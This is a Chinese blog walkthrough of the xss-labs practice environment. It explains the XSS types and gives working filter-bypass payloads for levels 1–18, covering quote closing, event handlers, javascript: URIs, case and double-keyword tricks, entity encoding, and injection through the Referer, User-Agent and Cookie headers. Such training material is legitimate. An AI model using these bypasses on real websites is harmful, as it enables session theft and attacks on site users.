xsslabs通关教程

通过练习xsslabs可以熟练掌握XSS攻击的技巧 有助于更加深刻的理解XSS攻击的运用与流程

xsslabs下载地址:https://codeload.github.com/do0dl3/xss-labs/zip/refs/heads/master

无需安装 将之解压到WWW目录之后直接访问就可开始学习之旅

环境:Windows11

   PHPstudy2018

背景知识:

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

XSS分为:存储型 、反射型 、DOM型XSS

 

存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

 

Level1:不使用过滤器

 

简单观察知道是反射型XSS 通过get传参然后显示在页面

在name参数后面写上payload:<script>alert("XSS")</script>

 

 

 

 Level2:闭合标签

这一关依旧正常输入 可以看到没有成功 F12

 

 

 

 这里是将输入的文字添加到了value这个属性中,可以采用闭合input标签完成XSS攻击

payload:"><script>alert("xss")</script>

因为">闭合了input标签  最终的语句为 <input name="keyword" value=""> <script>alert("xss")</script>

 

Level3:单引号闭合并添加事件

输入text,查看网页源码

 

 与Level2感觉相同 输入level2的payload 发现没有反应 查看源码

 

关键字符被编码成了html字符实体  这里可以通过<input>标签的一些特殊事件来执行js代码

payload: ' onfocus=javascript:alert('xss'>

     ' onfocus=javascript:alert('xss')//

输入之后发现没有反应 因为这个属性是要光标接触才发生,将光标移动到输入框然后点击就完成level3

 

Level4:双引号闭合并添加事件

第四关与第三关相同 只不过闭合引号变成了双引号

payload: " onfocus=javascript:alert('xss')//

     " onfocus=javascript:alert('xss') "

Level5:javascript伪协议

随便输入:xss看源代码

 

在输入payload:<script>alert('xss')</script>

 

 

 <  > 被编码 script被替换 改用上一关的方法

 

 

onfocus 也被替换 这个时候采取另外一种html标签进行攻击

 

 payload:"> <a href=javascript:alert('xss')>xss</a>//

出现链接 点击就可以完成挑战

 

 Level6:大小写绕过

采用上一关的payload 发现href被替换   采取大写绕过

payload:"> <a Href=javascript:alert('xss')>xss</a>//

 

Level7:双写绕过

这一关过滤了关键词 script on href等 采取双写绕过

payload:" oonnfocus=javascscriptript:alert('xss')//

       "><scscriptript>alert("xss")</scscriptript>//

     "> <a hhrefref=javascscriptript:alert('xss')>xss</a>//

 

 

Level8:字符实体

这一关采取大小写 双写都无法绕过

javaSCscriptript:alert('xss')

 

 使用编码绕过概念,就是将所有字符编码为HTML实体

HTML字符实体转化:https://www.qqxiuzi.cn/bianma/zifushiti.php

将 javascript:alert('xss') 转化为实体字符

payload:&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;

 

 

Level:9  检测关键字存在

利用前几关的payload发现都不行 查看源码

分析:我们发现这里多了一个strpos函数,这个函数是用来查找指定文本在字符串中第一次出现的位置,这时候我们就不得不在代码里加入http://,但是并没有过滤HTML实体编码,所以我们还是使用编码绕过

方法:使用过滤HTML实体编码,但是由于需要加入http://,肯定不能在http://后面加代码,必须在前面,并且将http://注释掉才能执行

payload:&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;&#x2F;&#x2F;http://

 

 

 Level10:隐藏信息

分析:这一关将之前的方法全部尝试 发现没有用  查看表单元素 发现有三个被隐藏的表单

 

 

 

方法:可以尝试构造文本框来攻击 随机将三个输入框的其中一个type属性值更改为text  然后增加onclick=alert('xss') 属性

payload:

 

 

 

Level11:Referer信息

PS:这一关也可以用level10的方法完成 但是这样也就无法体验xsslabs的价值

 

 

分析:根据返回的html判断refer字符为Web页面的自定义变量 可能存在XSS

payload:利用BP或者Hackbar修改Referer的值 这里我使用的Hackbar

 

 

 

 

 

Level12:user-agent信息

PS:我与上一关相类似 只不过从Referer换成了user-agent

 

 

 

 payload:

 

 

" type="text" onmouseover=alert('xss')//

" type="text" onmouseover="alert('xss')"

 

Level13:Cookie信息

PS:与前两关相类似 只不过换成了Cookie

payload:user=" type= "text" onclick="alert('xss')"

 

Level14:exif xss

网上查找发现题有问题 此关略过

 

Level15:ng-include属性

payload:'level1.php?name="><a href="javascript:alert(/xss/)">xss</a>'

 

 

Level16:%0A或%0D作为空格使用

空格、/、script都被str_replace函数替换成 了,但是在HTML中可以将%0a或者%0D当成空格使用

在keyword后面输入payload

payload:<a%0Ahref='javas%0Acript:alert("xss")'>xss

     <input%0Atype="text"%0Aonclick="alert('xss')">

 

Level17:参数拼接

PS:这一关不能使用火狐浏览器 我尝试多次无法完成 换其他的就好Edge

根据返回的代码判断,arg01和arg02提交的变量存在注入点

 

 

 

#注意在arg01这里要添加空格,不然就是将属性与之前的xsf01.swf?进行连接了

payload:arg01= onmousemove&arg02=javascript:alert(/xss/)

     arg01=q&arg02= onmouseover=alert("xss")

 

Level:18

与17关一模一样 相同的payload

 

Level:19——20

PS:涉及反编译 未完成

 

posted @   周知行  阅读(489)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek “源神”启动!「GitHub 热点速览」
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 我与微信审核的“相爱相杀”看个人小程序副业
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· spring官宣接入deepseek,真的太香了~
  1. 1 原来你也在这里 周笔畅
  2. 2 世间美好与你环环相扣 柏松
  3. 3 起风了 吴青峰
  4. 4 极恶都市 夏日入侵企划
极恶都市 - 夏日入侵企划
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.

作词 : 王星

作曲 : 灰鸿啊/皮皮

编曲 : 夏日入侵企画

制作人 : 邢硕

节奏吉他 : 肯尼

主音吉他 : 张伟楠

贝斯 : 皮皮

鼓 : 海鑫

和声 : 邢硕

音效制作 : 邢硕

录音 : 邢硕/夏国兴

混音 : 于昊

特别鸣谢 : 张伟楠

这城市的车流和这地表的颤抖

像一颗石子落入地心之后泛起的温柔

暗涌

河水流过转角她的楼

被梦魇

轻声呓语唤醒身后的幼兽

失效感官焦灼只剩下

麻木愚钝无从感受

共同支撑全都瓦解

只是我们现在都

已忘记到底是

谁隐藏春秋

谁在大雨之后

把旗帜插在最高的楼

过去陈旧的还在坚守

内心已腐朽

摇摇欲坠不停退后

毁灭即拯救

夏日掠夺春秋

结局无法看透

眼看这情节开始变旧

所有的城池已失守

最终无法占有

无眠辗转

伴着人间破碎的旧梦

像繁星

退却后只剩下混沌的夜空

炙热

掩盖风声鹤唳的担忧

把所有失落无助反手推入

无尽的白昼

失效感官焦灼只剩下

麻木愚钝无从感受

共同支撑全都瓦解

只是我们现在都已经忘记到底是

谁隐藏春秋

谁在大雨之后

把旗帜插在最高的楼

过去的陈旧还在坚守

内心已腐朽

摇摇欲坠不停退后

毁灭即拯救

夏日掠夺春秋

结局无法看透

眼看这情节开始变旧

所有的城池早已失守

惶恐难以接受

缠绵往复不肯放手

最终无法占有

谁隐藏春秋

谁在大雨之后

把旗帜插在最高的楼

过去的陈旧还在坚守

内心已腐朽

摇摇欲坠不停退后

毁 灭 即 拯 救

谁掠夺春秋

谁在大雨之后

把旗帜插在最高的楼

过去的陈旧还在坚守

内心已腐朽

摇摇欲坠不停退后

毁灭即拯救

夏日掠夺春秋

结局无法看透

明知城池已失守

缠绵往复不肯放手

最终无法占有

点击右上角即可分享
微信分享提示